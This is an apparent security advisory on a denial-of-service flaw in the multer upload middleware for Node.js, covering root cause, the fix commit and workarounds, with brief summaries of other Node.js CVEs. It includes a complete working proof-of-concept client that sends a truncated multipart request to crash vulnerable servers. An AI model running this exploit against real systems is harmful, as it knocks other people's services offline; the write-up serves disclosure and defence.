Oct 24, 2026·12 min read·3 visits
A lifecycle race condition between stream teardown and asynchronous fileFilter execution in multer (>= 2.0.0, < 2.5.0) allows an unauthenticated attacker to crash the Node.js server process with a single truncated multipart/form-data HTTP request.
CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.
multer is the standard Node.js middleware for handling multipart/form-data payloads within the Express web framework ecosystem. It acts as an orchestration layer over busboy, a streaming multipart parser, managing incoming form fields, file streams, storage engines, and validation callbacks. Because file upload endpoints are frequently exposed to untrusted network traffic, the stream management logic within multer represents a critical attack surface for Node.js web applications.
CVE-2026-113872 (tracked also as GHSA-q7qp-rjg7-q26m) is an uncaught exception (CWE-248) and improper resource shutdown (CWE-404) vulnerability affecting multer versions 2.0.0 prior to 2.5.0. The flaw occurs when multer is configured to process multiple files (via .array(), .fields(), or .any()) alongside an asynchronous fileFilter function. Developers commonly implement asynchronous fileFilter functions to perform database lookups, verify authentication tokens, check file signatures, or invoke external scanning services before committing file streams to storage.
When an attacker submits a multi-file upload request where one file is rejected by the asynchronous filter while a second, larger file (> 16 KiB) remains pending in a paused stream state, multer initiates request teardown prematurely. During this teardown sequence, multer removes all event listeners—including 'error' handlers—from the underlying busboy parser instance.
When the second file's asynchronous fileFilter eventually completes and attempts to discard the paused file stream by calling fileStream.resume(), busboy wakes from its backpressure state and processes the remaining bytes in its buffer. If the attacker truncated the multipart payload without providing a closing boundary (--<boundary>--), busboy emits an 'error' event (Error: Unexpected end of form). With no active error listener attached to the busboy EventEmitter, the Node.js runtime throws an unhandled error exception and terminates the entire application process via process.exit(1).
To understand the root cause of CVE-2026-113872, it is necessary to examine how multer coordinates stream backpressure between the HTTP request (req), the busboy parser, and individual file streams (fileStream). During an upload, multer pipes the incoming HTTP request directly into busboy (req.pipe(busboy)). Whenever busboy encounters a file part boundary in the multipart payload, it instantiates an internal Readable stream (fileStream) and emits a 'file' event.
Upon receiving the 'file' event, multer invokes the user-supplied fileFilter(req, file, cb) callback before attaching any stream consumers or storage engines to fileStream. While the fileFilter callback executes asynchronously, no data is read from fileStream. If the incoming file part data exceeds busboy's internal writable highWaterMark (fileHwm, which defaults to 16 KiB), busboy's internal .push() operation returns false. To respect stream backpressure, busboy pauses parsing and parks its internal write callback on the unconsumed fileStream, holding any subsequent bytes from the HTTP request inside its internal memory buffer.
Concurrently, multer tracks the upload lifecycle in lib/make-middleware.js using two primary state variables: errorOccured (a boolean latch set to true on the first encountered error) and pendingWrites (an integer counter tracking accepted files actively being written to storage). Crucially, files awaiting completion of an asynchronous fileFilter callback are not counted in pendingWrites. When an error occurs—such as fileFilter rejecting a file by passing an Error object to its callback—multer invokes its internal done(err) teardown routine. If pendingWrites is 0, done(err) immediately unpipes req from busboy, passes the error to Express via next(err) (which sends an HTTP response to the client), and schedules busboy.removeAllListeners() inside a setImmediate() callback.
This architecture creates a fatal lifecycle race condition when multiple files are uploaded in a single request:
File 1 (small) and File 2 (> 16 KiB) in a multipart request that terminates abruptly without a closing boundary.File 1 and File 2 trigger fileFilter callbacks. Because File 2 exceeds 16 KiB while its filter is pending, busboy parks its write callback and queues stream finalization behind the paused File 2 stream.File 1's asynchronous fileFilter finishes first and rejects the file (cb(new Error('rejected'))).multer sets errorOccured = true and invokes done(err). Because File 2 has not yet been accepted, pendingWrites is 0. done(err) unpipes req and schedules busboy.removeAllListeners() via setImmediate().busboy.removeAllListeners() runs, stripping the 'error' listener from busboy.File 2's asynchronous fileFilter completes and invokes cb(null, true). multer sees that errorOccured is true and attempts to clean up the rejected upload by executing fileStream.resume() to drain File 2.fileStream flushes its buffer and releases busboy's parked write callback. busboy resumes parsing the buffered tail of the HTTP request, reaches the end of the stream without encountering a closing multipart boundary, and executes busboy.emit('error', new Error('Unexpected end of form')).'error' event goes unhandled, crashing the Node.js process.The vulnerable logic resides in lib/make-middleware.js within the expressjs/multer repository. When multer processes incoming 'file' events emitted by busboy, it invokes fileFilter and checks the errorOccured latch upon callback resolution:
// Context inside lib/make-middleware.js on 'file' event
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(err)
}
if (errorOccured) {
appender.removePlaceholder(placeholder)
// VULNERABLE TRIGGER: If teardown already ran during the async wait,
// resuming fileStream unparks busboy after its listeners were removed.
return fileStream.resume()
}
// ... normal file processing ...
})When abortWithError(err) is called for the first file, it checks pendingWrites and calls done(err). In versions 2.0.0 through 2.4.0, the done(err) teardown block in lib/make-middleware.js unpiped the request and stripped all listeners from busboy on the next immediate tick:
// Vulnerable teardown logic in lib/make-middleware.js (v2.0.0 - v2.4.0)
if (!isDone) {
isDone = true
req.unpipe(busboy)
setImmediate(() => {
busboy.removeAllListeners()
})
}
drainStream(req)In commit 80a2d9df1dfd63b5fab631b8b9966164ed647adf (released in multer 2.5.0), the maintainers resolved the vulnerability by attaching a persistent no-op 'error' listener immediately after busboy.removeAllListeners() is executed:
diff --git a/lib/make-middleware.js b/lib/make-middleware.js
index 6be71a15..1cce8e1a 100644
--- a/lib/make-middleware.js
+++ b/lib/make-middleware.js
@@ -160,6 +160,9 @@ function makeMiddleware (setup) {
req.unpipe(busboy)
setImmediate(() => {
busboy.removeAllListeners()
+ // Keep an error listener so a late busboy error after teardown cannot
+ // crash the process; the request has already finished.
+ busboy.on('error', function () {})
})
}
drainStream(req)> [!NOTE]
> Assessment of Fix Completeness: The patch is concise and directly neutralizes the uncaught exception mechanism. In Node.js, an EventEmitter only throws an unhandled error exception if the count of 'error' listeners is zero when .emit('error') is called. By registering busboy.on('error', function () {}) right after busboy.removeAllListeners() within the synchronous execution block of the setImmediate callback, there is no window in the event loop where busboy lacks an 'error' handler. Any subsequent errors emitted when parked streams are resumed via fileStream.resume() are safely swallowed as no-ops without leaking memory or affecting the already-completed HTTP response.
Exploiting CVE-2026-113872 requires network access to an HTTP endpoint using multer (>= 2.0.0, < 2.5.0) configured to accept multiple files (.array(), .fields(), or .any()) with an asynchronous fileFilter. Neither authentication nor specific storage configurations (DiskStorage, MemoryStorage, or third-party cloud engines) are required or prevent exploitation. Furthermore, configured limits (such as fileSize or files, assuming at least 2 files are allowed) do not mitigate the flaw because the crash triggers on a payload smaller than 25 KiB.
A particularly subtle characteristic of this exploit in production environments is that the server sends a valid HTTP error response (typically 400 Bad Request or 500 Internal Server Error from the first rejected file) back to the client before crashing. The actual process termination occurs 100 to 300 milliseconds after the HTTP response is finalized, when the second file's asynchronous fileFilter resolves on a later tick of the event loop. This decoupling between the HTTP access log entry and the fatal crash stack trace complicates incident triage.
To trigger the vulnerability, an attacker constructs a single POST request with Content-Type: multipart/form-data; boundary=----cve2026113872 containing three distinct sections:
a.txt) that causes the server's asynchronous fileFilter to reject the file (or resolve quickly while Part 2 is still pending).b.bin) containing at least 20 KiB of arbitrary bytes (0x42), exceeding busboy's default 16 KiB fileHwm buffer limit so that busboy pauses and parks its write callback.\r\n------cve2026113872\r\nContent-Disposition: form-da) followed by an immediate TCP stream close (req.end()), omitting the required terminal boundary (------cve2026113872--).The following proof-of-concept exploit client (published by researcher Santiago Habib) demonstrates how to construct and transmit the payload in chunks to reliably hit the vulnerable state:
const http = require('http')
const port = Number(process.env.PORT) || 3000
const B = '----cve2026113872'
const CHUNK = 12 * 1024 // stay below busboy's 16 KiB writable highWaterMark
const head =
'--' + B + '\r\n' +
'Content-Disposition: form-data; name="files"; filename="a.txt"\r\n' +
'Content-Type: text/plain\r\n\r\n' +
'a\r\n' +
'--' + B + '\r\n' +
'Content-Disposition: form-data; name="files"; filename="b.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\n'
// Second file > fileHwm (16 KiB) so busboy parks its write callback.
const big = Buffer.alloc(20 * 1024, 0x42)
// Truncated tail: a boundary and a partial part header, never a closing boundary.
const tail = '\r\n--' + B + '\r\nContent-Disposition: form-da'
const chunks = [
Buffer.concat([Buffer.from(head), big.subarray(0, CHUNK)]),
big.subarray(CHUNK),
Buffer.from(tail)
]
const req = http.request({
port,
method: 'POST',
path: '/upload',
headers: { 'Content-Type': 'multipart/form-data; boundary=' + B }
}, res => {
let body = ''
res.on('data', d => { body += d })
res.on('end', () => console.log('[client] HTTP ' + res.statusCode + ' ' + body))
})
req.on('error', e => console.log('[client] ' + e.code))
;(function send (i) {
if (i === chunks.length) return req.end()
req.write(chunks[i])
setTimeout(send, 20, i + 1)
})(0)When executed against a vulnerable Express server where File 1 is rejected at t = 100ms and File 2 resolves at t = 300ms, the client logs [client] HTTP 400 rejected, and 200ms later the server crashes with an unhandled exception: Error: Unexpected end of form.
The primary impact of CVE-2026-113872 is a complete Denial of Service (DoS) of the target Node.js application process. Because Node.js executes JavaScript on a single main event loop thread, an unhandled 'error' event on an EventEmitter immediately halts the entire runtime environment via process.exit(1). All active in-flight HTTP requests, WebSocket connections, and background tasks sharing that process are abruptly terminated.
This vulnerability is scored at CVSS v3.1 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The Attack Complexity (AC:L) is low because an attacker does not need to win a narrow CPU-level timing race; any standard asynchronous operation in fileFilter where one file fails fast (e.g., an invalid extension or failed fast database check) and another takes slightly longer (e.g., an asynchronous signature scan or network call) deterministically triggers the crash. Furthermore, because the exploit payload is approximately 20 KiB in size, an attacker can repeatedly crash containerized deployments or PM2/cluster worker pools using minimal bandwidth, triggering crash-loop backoff states in orchestrators like Kubernetes.
Confidentiality (C:N) and Integrity (I:N) are not directly impacted in terms of unauthorized data disclosure or modification, though unpersisted in-memory state across concurrent requests in the same Node.js process will be lost when the process aborts. As of current threat intelligence telemetry, CVE-2026-113872 holds an EPSS score of 0.00441 (37.31th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, though a working public Proof-of-Concept is available.
The definitive remediation for CVE-2026-113872 is to upgrade multer to version 2.5.0 or later. Version 2.5.0 includes commit 80a2d9df1dfd63b5fab631b8b9966164ed647adf, which ensures a fallback error listener remains attached to the busboy instance after teardown. Developers can apply this update using standard package managers:
npm install multer@^2.5.0If an immediate dependency upgrade cannot be deployed, engineering teams can eliminate the vulnerability preconditions at the application layer by refactoring fileFilter implementations to be strictly synchronous. When fileFilter invokes its callback synchronously within the same event loop tick, busboy never parks a stream across a setImmediate() teardown boundary.
Any asynchronous validation logic—such as database queries, remote API verification, or malware scanning—should be moved out of multer's fileFilter and executed inside a downstream Express middleware or route handler after multer has finished parsing the multipart stream:
// SAFE WORKAROUND: Synchronous fileFilter + Downstream Async Validation
const upload = multer({
storage: multer.diskStorage({ /* ... */ }),
fileFilter (req, file, cb) {
// Perform ONLY synchronous checks inside fileFilter
const allowedTypes = ['image/png', 'image/jpeg']
if (!allowedTypes.includes(file.mimetype)) {
return cb(new Error('Invalid file type'), false)
}
cb(null, true)
}
})
app.post('/upload', upload.array('files'), async (req, res, next) => {
try {
// Perform asynchronous checks after multer stream parsing is complete
for (const file of req.files) {
await performAsyncValidationOrScan(file.path)
}
res.status(200).json({ status: 'uploaded' })
} catch (err) {
next(err)
}
})> [!WARNING]
> Registering a global process.on('uncaughtException') handler to ignore Unexpected end of form errors is strongly discouraged by the Node.js documentation as a primary mitigation, as continuing execution after an uncaught exception can leave application state inconsistent. Always prefer upgrading to multer@2.5.0 or making fileFilter synchronous.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
multer OpenJS Foundation / Express | >= 2.0.0, < 2.5.0 | 2.5.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) |
| Affected Component | multer npm package (>= 2.0.0, < 2.5.0) |
| Weakness Class | CWE-248 (Uncaught Exception) / CWE-404 (Improper Resource Shutdown) |
| Attack Vector | Network (Unauthenticated HTTP multipart/form-data POST) |
| CVSS v3.1 Score | 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| EPSS Score | 0.44% (37.31th Percentile) |
| Impact | Complete Node.js application process crash (Denial of Service) |
| Exploit Status | Public Proof-of-Concept Available (CISA KEV: False) |
An exception or error is raised by the program or runtime environment, but the application does not catch or handle it, causing execution to terminate abnormally.
CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.
CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.
A resource allocation vulnerability (CWE-770) exists in the Server-Sent Events (SSE) parser within the Node.js undici HTTP client library. In affected versions, the EventSourceStream implementation fails to restrict the count of internal Buffer chunk references and accumulated string nodes prior to event dispatch boundaries. A malicious or compromised SSE endpoint can exploit this behavior by streaming fragmented, unterminated lines or continuous sequences of short data fields without empty separator lines, bypassing configured byte-size limits and causing a fatal Out-of-Memory (OOM) crash in the client Node.js process.
CVE-2026-109869 is a high-severity denial-of-service vulnerability in undici, the default HTTP/1.1 client and Fetch implementation for Node.js. When a server responds with more than five Content-Encoding directives and prematurely closes the connection before transmitting the body, undici allocates an internal Readable stream before enforcing the content-encoding limit. Upon rejecting the fetch promise, the stream is orphaned without an error listener or abort signal, causing the premature socket closure to emit an unhandled stream error that terminates the Node.js process.
LiteLLM versions 1.87.0 through 1.104.0-rc.1 contain a cryptographic domain separation vulnerability (CWE-269, CWE-345, CWE-441) that allows an authenticated low-privilege user to escalate privileges to full proxy administrator. The application reuses a single symmetric cryptographic context and key derivation path for both at-rest secret encryption and ephemeral UI/CLI session authentication tokens without providing Associated Authenticated Data (AAD). By submitting crafted JSON session claims into user-accessible encrypted metadata fields, an attacker can use the API-key generation flow as an encryption oracle, extract the resulting ciphertext, and replay it as a bearer token to achieve administrative control and subsequent remote command execution via the Model Context Protocol (MCP) stdio interface.
An origin validation vulnerability in @azure/msal-node allows attackers to process unchecked authorization code response payloads or request query parameters in ConfidentialClientApplication, potentially directing sensitive client credentials to external endpoints.